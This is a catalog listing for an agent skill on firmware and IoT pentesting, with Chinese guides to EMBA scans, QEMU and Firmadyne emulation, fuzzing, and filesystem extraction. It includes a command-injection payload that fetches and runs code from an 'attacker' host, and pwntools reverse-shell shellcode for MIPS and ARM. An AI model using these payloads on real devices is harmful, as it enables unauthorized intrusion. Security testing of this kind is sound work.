
Firmware Pentest
- 162 installs
- 18.1k repo stars
- Updated August 4, 2026
- zhaoxuya520/reverse-skill
Run one-command embedded firmware audits with EMBA static scans, QEMU simulation, and CVE reports before shipping IoT or router images.
About
Firmware Pentest is an agent skill that teaches solo builders and small security teams how to audit embedded device images using the open-source EMBA (Embedded Analyzer) stack. It maps each EMBA phase—from format recognition and extraction through static binary analysis, optional QEMU user-mode simulation, live service checks, and multi-format reporting—into copy-paste commands suitable for Linux lab hosts. The skill emphasizes practical scan profiles (standard full pass, quick triage, offline) and the recommended flag combination for Docker isolation, threading, QEMU, and HTML output. It is aimed at indie hardware vendors, reverse-engineering learners, and agent workflows that need repeatable firmware review without hand-rolling every scanner. Use it when you have a .bin or vendor firmware dump and need structured CVE correlation, hardcoded secret signals, and a grep-friendly log trail before customers or regulators ask what you tested.
- Wraps EMBA module pipeline: P pre-check, S static, Q QEMU, L live, F aggregate, R HTML/SBOM/JSON reports
- Documents install via installer.sh on Ubuntu 22.04, Debian 12, or Kali with Docker-isolated runs (-D)
- Supports default-scan, quick-scan, and offline no-notify profiles for depth vs speed tradeoffs
- Flags threaded mode (-t), QEMU (-Q), and web reports (-W) for full deep-dive workflows
Firmware Pentest by the numbers
- 162 all-time installs (skills.sh)
- +28 installs in the week ending Jul 28, 2026 (Skillselion tracking)
- Ranked #863 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/zhaoxuya520/reverse-skill --skill firmware-pentestAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 162 |
|---|---|
| repo stars | ★ 18.1k |
| Last updated | August 4, 2026 |
| Repository | zhaoxuya520/reverse-skill ↗ |
What it does
Run one-command embedded firmware audits with EMBA static scans, QEMU simulation, and CVE reports before shipping IoT or router images.
Files
固件 / IoT 渗透链 (Firmware Pentest)
适用范围
下列任务进入本 skill:
1. 拿到一份固件文件(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE 2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞 3. 加密/打包固件,需要找 bootloader 解密例程或硬件 dump 4. 需要在不接触硬件的情况下跑起来(QEMU 全系统仿真 / Firmadyne / FAT) 5. 对仿真起来的服务做 fuzz(AFL++ qemu mode / boofuzz) 6. 硬件接口接入(UART / JTAG / SPI flash dump)
与其他 skill 分工
| 场景 | 用什么 |
|---|---|
| 从零拿到固件,全链路走 FSTM | 本 skill |
| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |
| APK / Android 固件(含 boot.img) | apk-reverse/(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | binary-diff/ |
核心原理
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload关键判断:
- 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
- EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、
/dev/节点缺失 - ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错
OWASP FSTM 九阶段工作流
Stage 1 — 信息收集(Information Gathering)
收集型号、芯片、SDK、已公开 CVE。
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
Stage 2 — 获取固件(Obtaining Firmware)
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.binStage 3 — 分析固件(Analyzing Firmware)
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64Stage 4 — 提取文件系统(Extracting Filesystem)
详见 references/extraction-methodology.md。
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBIStage 5 — 静态分析文件系统(Filesystem Analysis)
EMBA 一键扫,详见 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba手工补:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpdStage 6 — 模拟运行(Emulating Firmware)
详见 references/emulation-and-fuzz.md。
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.binStage 7 — 动态分析(Dynamic Analysis)
仿真起来后挂调试器、抓流量、跑 fuzz。
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"Stage 8 — 运行时分析(Runtime Analysis)
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@Stage 9 — 二进制利用(Exploitation)
写 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"典型场景示例
场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)
固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
- 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
Step 2 获取固件
- 官网下载 .bin,sha256 与已知样本对比
Step 3 分析
- binwalk → 检出 uImage + squashfs-xz
- 熵图 → squashfs 段熵 ~0.95(正常压缩)
Step 4 提取
- binwalk -eM router_v1.2.3.bin
- 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫
- 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
- 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真
- sudo fat.py router_v1.2.3.bin
- 仿真起来 IP 192.168.0.1,Web 可访问
Step 7-8 动态
- Burp 抓 /cgi-bin/luci 系列接口
- 发现 hostname 参数直拼 system
Step 9 利用
- 构造 hostname=`;wget http://attacker/x;sh x;`
- 仿真态成功反弹 shell
- 真机复测通过 → 提报 SRC场景 2:加密固件(找 bootloader 解密例程)
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
- 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 启动时按键进 U-Boot
- md.b 0x80000000 0x1000 # 读内存
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill(IDA / Ghidra)
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程
- binwalk decrypted.bin → 看到 squashfs
- 后续与场景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一级 ROM 文档
- SoC 有安全启动 → 看公开 fault injection / glitch 资料注意事项
- 大小端:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
- NVRAM:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
- EMBA 不是银弹:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
- AFL++ qemu mode 慢:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
- 真机操作前先 dump:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
- 法律边界:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
- field-journal 回写:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用
---
按需自举(On-Demand Bootstrap)
工具清单
| 工具 | 用途 | 自动安装 |
|---|---|---|
| binwalk v3 | 主提取(Rust 重写版) | ✓ |
| binwalk v2 | 兼容老插件 | ✓ |
| unblob | 兜底提取 | ✓ |
| jefferson | JFFS2 提取 | ✓ |
| ubi_reader | UBI / UBIFS 提取 | ✓ |
| EMBA | 自动化分析框架 | ✓ |
| Firmadyne | 全系统仿真 | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
| qemu-user-static | 用户态仿真 | ✓ |
| qemu-system-* | 全系统仿真 | ✓ |
| AFL++ | 模糊测试 | ✓ |
| pwntools | 漏洞利用脚本 | ✓ |
| flashrom | SPI flash 读写 | ✓ |
| picocom | UART 串口 | ✓ |
安装命令
# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)
cargo install binwalk
# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make installWindows 用户
固件渗透链强依赖 Linux 工具,建议:
- WSL2 Ubuntu 22.04(足够大多数场景)
- 或独立 Kali / Ubuntu 虚拟机
- EMBA 必须 Linux,Firmadyne / FAT 必须 Linux
---
路由上下文
上游入口: skills/SKILL.md(总控)、routing.md 触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计 下游出口:
- 单个二进制深度静态分析 →
reverse-engineering/、ida-reverse/、radare2/ - 仿真起来后做 Web RCE / 后渗透 →
pentest-tools/、attack-chain/ - 跨版本固件符号迁移 →
binary-diff/ - 硬件接口实操参考 →
patterns-hardware.md - APK / boot.img 处理 →
apk-reverse/
同级关联: pentest-tools/(Web 利用阶段配合)、attack-chain/(跨阶段攻击链规划)
参考文档:
references/extraction-methodology.md— 提取细节与失败兜底references/emba-automated-analysis.md— EMBA 全流程references/emulation-and-fuzz.md— 仿真 + fuzz 实战
EMBA 自动化分析
参考:https://github.com/e-m-b-a/emba
EMBA = Embedded Analyzer。开源固件自动化审计框架,一行命令跑完静态扫描 + 仿真 + CVE 比对 + 报告生成。
它能做什么
| 阶段 | 模块前缀 | 干的事 |
|---|---|---|
| 预检 | P-modules | 识别格式、提取、归类 |
| 静态分析 | S-modules | 二进制 checksec、字符串、敏感配置、硬编码凭据 |
| QEMU 仿真 | Q-modules | 用户态仿真 + 服务探测 |
| Live 动态 | L-modules | 跑起来后实时检查(网络服务、暴露接口) |
| 收尾 | F-modules | 聚合结果 |
| 报告 | R-modules | HTML / SBOM / JSON / CSV |
安装
# 系统要求:Ubuntu 22.04 / Debian 12 / Kali(必须 Linux)
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba
# 一键安装(会装 Docker、qemu、各类 scanner、CVE 数据库)
sudo ./installer.sh -d
# 验证
sudo ./emba --help一行命令跑全套
sudo ./emba \
-l ./logs/router_v1.2.3 \
-f ./firmware/router_v1.2.3.bin \
-p ./scan-profiles/default-scan.emba参数:
| 参数 | 含义 |
|---|---|
-l | log 输出目录 |
-f | 固件文件路径 |
-p | 扫描 profile |
-t | threaded 模式(多核加速) |
-Q | 启用 QEMU 仿真分析 |
-W | 生成 web 报告 |
-g | 生成 grep-able log |
-D | 在 Docker 内运行(推荐,环境隔离) |
推荐组合
# 深度 + Docker + Web 报告
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
-p ./scan-profiles/default-scan.emba -t -Q -W
# 快速预扫(看看值不值得深挖)
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
-p ./scan-profiles/quick-scan.emba
# 离线模式(无网络环境)
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
-p ./scan-profiles/default-scan-no-notify.embascan-profiles 选哪个
| profile | 用途 |
|---|---|
default-scan.emba | 标准全套 |
quick-scan.emba | 快速预扫,跳过 QEMU |
default-scan-no-notify.emba | 无网络环境,离线 CVE 库 |
default-scan-emulation.emba | 加强仿真分析 |
default-with-tools.emba | 启用更多外部 scanner |
集成的子工具
EMBA 内置 / 调度的扫描器:
| 工具 | 干什么 |
|---|---|
| cve-bin-tool | 已知 CVE 比对(基于 NVD 数据库) |
| Semgrep | 源码 / 脚本静态规则扫描 |
| bandit | Python 源码安全扫描 |
| checksec | ELF 安全特性(NX / RELRO / PIE / Canary) |
| Trivy | SBOM 生成 + 漏洞匹配 |
| linter (shellcheck / yara) | 配置和脚本静态检查 |
| pixd | 二进制可视化(熵图) |
| binwalk + unblob | 提取后端 |
| EMBA 自家规则 | 硬编码密码、私钥、危险函数调用 |
输出报告解读
跑完后看 ./logs/router_v1.2.3/:
logs/router_v1.2.3/
├── html-report/
│ └── index.html ← 主入口,浏览器打开
├── csv_logs/ ← grep / awk 用
├── json_logs/ ← 程序化处理用
├── s05_firmware_details.txt ← 固件基本信息
├── s09_firmware_base_version_check.txt ← 版本检测
├── s12_binary_protection.txt ← checksec 汇总
├── s20_shell_check.txt ← shell 脚本问题
├── s24_kernel_bin_identifier.txt
├── s40_weak_perm_check.txt ← 权限问题
├── s108_stacs_password_search.txt ← 密码 / 密钥泄漏
├── s109_jtr_local_pw_cracking.txt ← shadow 破解结果
├── s115_usermode_emulator.txt ← 用户态仿真结果
├── q02_openssl_bin_version_check.txt
├── l10_system_emulator.txt ← 全系统仿真状态
├── l15_emulated_checks_init.txt
└── f50_base_aggregator.txt ← 总聚合HTML 报告重点字段
打开 html-report/index.html,关注:
1. Summary 块 — 风险评级(CRITICAL / HIGH / MEDIUM)+ CVE 数量 2. Firmware details (S05) — 内核版本、busybox 版本、SDK 厂商 3. Version detection (S09) — 所有识别出的二进制 + 版本,对比 CVE 4. Binary protection (S12) — 哪些二进制没开 NX / RELRO(fuzz / 利用容易) 5. Password / Secrets (S108) — 硬编码凭据直接看 6. System emulation (L10) — 仿真是否成功 + 跑起来的服务 7. Aggregator (F50) — 一页总结,先看这个
CVE 比对优先级
报告里一堆 CVE 别全信,按这个顺序复核:
1. CVE 评分 ≥ 7.5 + 影响网络服务(lighttpd / dropbear / 内置 httpd)
2. CVE 有公开 PoC(Exploit-DB / GitHub)
3. 二进制确实存在该版本(version string 命中)
4. 暴露在监听端口上(结合 L10 仿真结果看 netstat)
5. 不需要认证或认证容易绕(结合源码 / 反汇编看)何时用 EMBA,何时手工
| 场景 | 用 EMBA | 手工分析 |
|---|---|---|
| 第一次接触某固件 | ✓ | |
| 大批量固件审计(>5 个) | ✓ | |
| 寻找已公开 CVE | ✓ | |
| 找 0day | 辅助 | ✓ 主力 |
| 加密 / 私有格式 | ✗(提不出来) | ✓ |
| 单个二进制深度逆向 | ✗ | ✓(用 IDA / Ghidra) |
| 协议 / 业务逻辑漏洞 | ✗ | ✓ |
EMBA 的强项是把 80% 的体力活包了,让你专注剩下 20% 真正需要脑子的部分。
二次开发 / 自定义规则
EMBA 模块化设计,可以塞自家规则:
# 自定义 yara 规则
cp my_rule.yar ~/tools/emba/external/yara/
# 自定义 Semgrep 规则
cp my_rule.yaml ~/tools/emba/config/semgrep_rules/
# 调整 CVE 严重性阈值
vim ~/tools/emba/config/emba_emulator_db.cfg模块加载顺序在 ~/tools/emba/modules/ 下,文件名前缀决定执行阶段。
常见坑
1. installer.sh 卡住 → 网络问题,开代理或换镜像源
2. CVE 数据库过期 → ./emba_db_update.sh 强制刷新
3. QEMU 仿真失败 → 改用 default-scan-emulation.emba profile
4. Docker 模式磁盘爆 → 清理 /var/lib/docker/overlay2
5. 报告里 CVE 全是 N/A → cve-bin-tool 数据库没下载完,重跑 installer
6. 内存不足 → 32GB+ 推荐,大固件 64GB
7. 在 WSL2 里跑 → 关 systemd-resolved,启用 cgroup v2配套阅读
- EMBA paper / 用户手册:https://github.com/e-m-b-a/emba/blob/master/README.md
- 在线 demo 报告:https://e-m-b-a.github.io/emba/
- 自定义模块开发:https://github.com/e-m-b-a/emba/wiki
仿真与模糊测试
参考:
- Firmadyne https://github.com/firmadyne/firmadyne
- FAT https://github.com/attify/firmware-analysis-toolkit
- AFL++ https://github.com/AFLplusplus/AFLplusplus
仿真三档
| 档位 | 工具 | 适用 | 难度 |
|---|---|---|---|
| 用户态 | qemu-*-static + chroot | 单个二进制(httpd / cgibin) | 低 |
| 全系统 | Firmadyne / FAT | 整个固件起 init / 网络栈 / NVRAM | 中 |
| 半真机 | qemu + 真硬件 GPIO / 协处理器透传 | 涉及外设的固件 | 高 |
| 纯真机 | UART / JTAG | 仿真起不来,必须上硬件 | 高 |
选择策略:
只想看 httpd 接口 → 用户态
想真实跑起来管理界面 → 全系统
仿真起不来某外设 → 半真机或硬件
不在意效率追求真实 → 真机用户态仿真(QEMU User Mode)
最快路径,几条命令出 shell。
# 1. 把 qemu-user-static 拷进 rootfs
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/
# 2. chroot 进去
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /bin/sh
# 3. 直接跑目标 binary
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /usr/sbin/httpd
# 4. 不 chroot 直接跑(路径相对)
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd架构对照表:
| 固件架构 | qemu binary |
|---|---|
| MIPS little-endian (MT 系列) | qemu-mipsel-static |
| MIPS big-endian (BCM 系列) | qemu-mips-static |
| ARM little-endian (大多数) | qemu-arm-static |
| ARM 64 | qemu-aarch64-static |
| PowerPC | qemu-ppc-static |
| SuperH | qemu-sh4-static |
判断架构:
file squashfs-root/bin/busybox
# 输出例:ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV)
# LSB = mipsel, MSB = mipseb用户态的坑
- `/proc` 不可用 →
mount -t proc proc squashfs-root/proc - 缺设备节点 →
mknod squashfs-root/dev/null c 1 3 - DNS 解析失败 → 拷一份
/etc/resolv.conf进去 - 网络监听 → qemu-user 对网络栈支持有限,bind 高端口能成,低端口可能要 root
- nvram_get 拿不到值 → 用户态没 NVRAM,httpd 经常崩;上全系统仿真
全系统仿真(Firmadyne)
完整流程:提取 → 识别架构 → 构造 image → 启动 + NVRAM hack。
安装
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne
sudo ./download.sh # 下载预编译内核
# 配置 PostgreSQL
sudo -u postgres createuser -P firmadyne # 密码 firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./database/schema完整流程
cd ~/tools/firmadyne
FW=/path/to/firmware.bin
# Step 1: 注册固件到数据库
./sources/extractor/extractor.py -b TPLink -sql 127.0.0.1 -np -nk \
"$FW" images
# Step 2: 识别架构
IID=$(psql -d firmware -U firmadyne -c "SELECT id FROM image \
ORDER BY id DESC LIMIT 1;" -t | tr -d ' ')
./scripts/getArch.sh "./images/${IID}.tar.gz"
# Step 3: 把内核 + rootfs 装配成可启动 image
./scripts/tar2db.py -i "$IID" -f "./images/${IID}.tar.gz"
sudo ./scripts/makeImage.sh "$IID"
# Step 4: 推断网络配置(DHCP / 静态 IP)
./scripts/inferNetwork.sh "$IID"
# Step 5: 启动
./scratch/${IID}/run.sh启动后会输出仿真 IP,浏览器访问:
# 假设输出 192.168.0.1
curl -I http://192.168.0.1/
nmap -p- 192.168.0.1NVRAM hack
Firmadyne 自带 libnvram.so,hook 所有 nvram 读取调用,返回默认值。
# 查看 libnvram 默认值表
cat ~/tools/firmadyne/nvram_files/nvram.default
# 加自定义 NVRAM 项(针对崩在特定 nvram_get 的服务)
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default
echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default
# 重新打包 image
sudo ./scripts/makeImage.sh "$IID"常见坑
| 现象 | 原因 | 修法 |
|---|---|---|
| 启动卡在 "init started" | 缺 /dev 节点 | MAKEDEV 在镜像里手工建 |
| httpd 启动即崩 | nvram_get 缺值 | 加 nvram.default |
| bind 错网卡 | inferNetwork 推错 | 手工改 ./scratch/${IID}/run.sh 的 -net nic |
| IPC 信号量错 | 内核版本不匹配 | 换 Firmadyne 自带的对应架构内核 |
| 内核 panic | 架构识别错 | 重跑 getArch.sh,或手工指定 |
| 没网卡 | 固件没自动 ifconfig | 进仿真 shell ifconfig br0 192.168.0.1 up |
| 串口卡死 | tty 未分配 | run.sh 加 -serial mon:stdio |
FAT(Firmware Analysis Toolkit)
Firmadyne 的封装,一行启动。
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
cd ~/tools/fat
sudo pip3 install -r requirements.txt
# 编辑 fat.config 指向 Firmadyne 路径
vim fat.config
# 跑
sudo ./fat.py /path/to/firmware.binFAT 自动做完 extractor → getArch → makeImage → inferNetwork → run,一条命令到仿真 shell。
适合快速验证;遇到坑还是回到 Firmadyne 手工流程。
仿真态做 AFL++ Fuzz
三种模式选哪个
| 模式 | 速度 | 适用 |
|---|---|---|
| 源码编译 (afl-clang-lto) | 最快 | 有源码或能自行编译 |
| QEMU mode (-Q) | 慢 5-10 倍 | 仅有目标 binary |
| Persistent mode | 比 QEMU 快 5-10 倍 | 需要简单 harness 改造 |
AFL++ QEMU mode(对仿真二进制 fuzz)
# 1. 准备 AFL++ qemu 后端(架构对应)
cd ~/tools/aflpp/qemu_mode
CPU_TARGET=mipsel ./build_qemu_support.sh
# 2. 准备种子语料
mkdir -p in/
echo "GET / HTTP/1.0" > in/seed1
# 3. 启动 fuzz
afl-fuzz -Q -i in/ -o out/ -- \
qemu-mipsel-static -L squashfs-root/ \
squashfs-root/usr/sbin/httpd
# 4. 监控覆盖率
afl-whatsup out/Persistent mode(速度 10x)
// harness.c:把目标主循环改造为 input-driven
#include <stdio.h>
__AFL_FUZZ_INIT();
int main() {
__AFL_INIT();
unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
while (__AFL_LOOP(10000)) {
int len = __AFL_FUZZ_TESTCASE_LEN;
process_request(buf, len); // 目标函数
}
}afl-clang-lto -o harness harness.c target.c
afl-fuzz -i in/ -o out/ -- ./harnessafl-clang-lto 重编译(有源码)
# 源码 in tree
export CC=afl-clang-lto CXX=afl-clang-lto++
export AFL_USE_ASAN=1
make clean && make
afl-fuzz -i in/ -o out/ -- ./target @@网络服务 fuzz:boofuzz
针对自定义二进制协议或仿真起来的服务。
pip3 install boofuzz# fuzz_httpd.py
from boofuzz import *
session = Session(target=Target(connection=TCPSocketConnection("192.168.0.1", 80)))
s_initialize(name="http_get")
s_string("GET", fuzzable=False)
s_delim(" ", fuzzable=False)
s_string("/", fuzzable=True)
s_string(" HTTP/1.0\r\n", fuzzable=False)
s_string("Host: 192.168.0.1\r\n", fuzzable=True)
s_string("\r\n", fuzzable=False)
session.connect(s_get("http_get"))
session.fuzz()sudo python3 fuzz_httpd.py
# 配合 ./scratch/${IID}/run.sh 监控 console,看 crashARM / MIPS payload 速查
# pwntools 生成 reverse shell
python3 - <<'EOF'
from pwn import *
# MIPS little-endian
context.clear(arch='mips', endian='little', os='linux')
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(asm(sc).hex())
# ARM little-endian
context.clear(arch='arm', endian='little', os='linux')
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(asm(sc).hex())
EOF
# ROP gadget 搜索
ropper --file ./httpd --search "system"
ROPgadget --binary ./httpd --only "pop|ret"调试器接入
# 用户态 + gdbserver 模式
qemu-mipsel-static -g 1234 -L squashfs-root/ ./vuln_binary
# 另一终端
gdb-multiarch ./vuln_binary
(gdb) set architecture mips
(gdb) target remote :1234
(gdb) b *0x00401234
(gdb) c
# 全系统仿真接 gdb
# 改 ./scratch/${IID}/run.sh,qemu-system-mips 加参数:
# -s -S
# 然后
gdb-multiarch
(gdb) target remote :1234一键 fuzz 工作流
#!/bin/bash
FW=$1
IID=$2
# 1. 仿真起来
~/tools/fat/fat.py "$FW" &
sleep 30
# 2. 拿到 IP
IP=$(grep "br0" ~/tools/firmadyne/scratch/$IID/qemu.final.serial.log | head -1)
# 3. 网络 fuzz
python3 fuzz_httpd.py "$IP"
# 4. 同时 AFL++ 跑用户态
afl-fuzz -Q -i in/ -o out/ -- \
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd &
wait引用
- Firmadyne: https://github.com/firmadyne/firmadyne
- FAT: https://github.com/attify/firmware-analysis-toolkit
- AFL++: https://github.com/AFLplusplus/AFLplusplus
- boofuzz: https://github.com/jtpereyda/boofuzz
- pwntools: https://github.com/Gallopsled/pwntools
固件提取方法论(OWASP FSTM Stage 4)
参考:https://scriptingxss.gitbook.io/firmware-security-testing-methodology
固件提取是整条链的瓶颈。binwalk 一把成功是运气,多数固件需要换工具组合拳。
工具对比
| 工具 | 语言 | 优势 | 劣势 |
|---|---|---|---|
| binwalk v3 | Rust | 速度快、并发提取、内存稳 | 插件生态比 v2 小 |
| binwalk v2 | Python | 插件丰富、兼容性好 | 慢、易爆内存、维护暂停 |
| unblob | Python + 多语言 handler | 格式覆盖全(300+)、可作为库 | 安装依赖多 |
| jefferson | Python | 专攻 JFFS2 提取 | 单一用途 |
| ubi_reader | Python | UBI / UBIFS 标准方案 | 大镜像内存占用高 |
| 7z / unsquashfs / cramfsck | 原生 | 已知格式直接解 | 需要先确认偏移 |
选择策略:
未知固件 → binwalk v3 → 失败 → unblob → 仍失败 → 手工 hexdump + 熵分段
已知 JFFS2 → jefferson 直接上
已知 UBI → ubi_reader 直接上
已知 SquashFS 且偏移已知 → dd + unsquashfs标准流程
1. 头部识别
binwalk firmware.bin
# 期望看到的关键字段:
# uImage header / DECIMAL signature / TRX / CHK / SquashFS / JFFS2 / UBI
file firmware.bin
hexdump -C firmware.bin | head -32vendor header 常见模式:
TRX: HDR0 (Asus / Linksys / Netgear 旧款)
CHK: 2A 23 24 5E (TP-Link 部分)
DLOB: 4D 5A 4F 41 (D-Link 加密头)
uImage: 27 05 19 562. 熵分析
binwalk -E firmware.bin
# 输出 firmware.bin.png判读:
| 熵区间 | 含义 |
|---|---|
| 0.0 - 0.3 | 全 0 / 填充 / 未使用 flash 区 |
| 0.3 - 0.7 | 代码段 / 字符串 / 未压缩数据 |
| 0.7 - 0.95 | 压缩数据(gzip / lzma / xz / squashfs) |
| 0.95 - 1.0 | 加密 / 高熵压缩(注意:高熵不一定加密) |
3. 递归提取
# binwalk v3
binwalk -e firmware.bin # 单层提取
binwalk -Me firmware.bin # 递归提取(matryoshka)
# binwalk v2(旧版兼容)
binwalk2 --run-as=root -eM firmware.bin
# unblob
unblob -d out/ firmware.bin
unblob --depth 10 -d out/ firmware.bin # 深度递归
# 输出结构(典型)
# _firmware.bin.extracted/
# ├── 0.uImage
# ├── 80.gzip
# └── 1A0000.squashfs
# └── squashfs-root/
# ├── bin/ etc/ usr/ lib/ sbin/ ...4. 文件系统分类处理
SquashFS
unsquashfs -d rootfs/ rootfs.squashfs
# squashfs 用了非标 magic?指定偏移
unsquashfs -d rootfs/ -offset 0x100 rootfs.squashfs
# LZMA 变种(老 Realtek SDK 常见)
sasquatch rootfs.squashfs # squashfs-tools-ng 的兄弟项目非标 SquashFS 是路由器固件最常见的坑,原版 unsquashfs 解不开时换 sasquatch。
JFFS2
jefferson rootfs.jffs2 -d rootfs/
# 大端 JFFS2
jefferson -v -b rootfs.jffs2 -d rootfs/
# 失败兜底:手工 mount
sudo modprobe mtdram total_size=32768 erase_size=128
sudo modprobe mtdblock
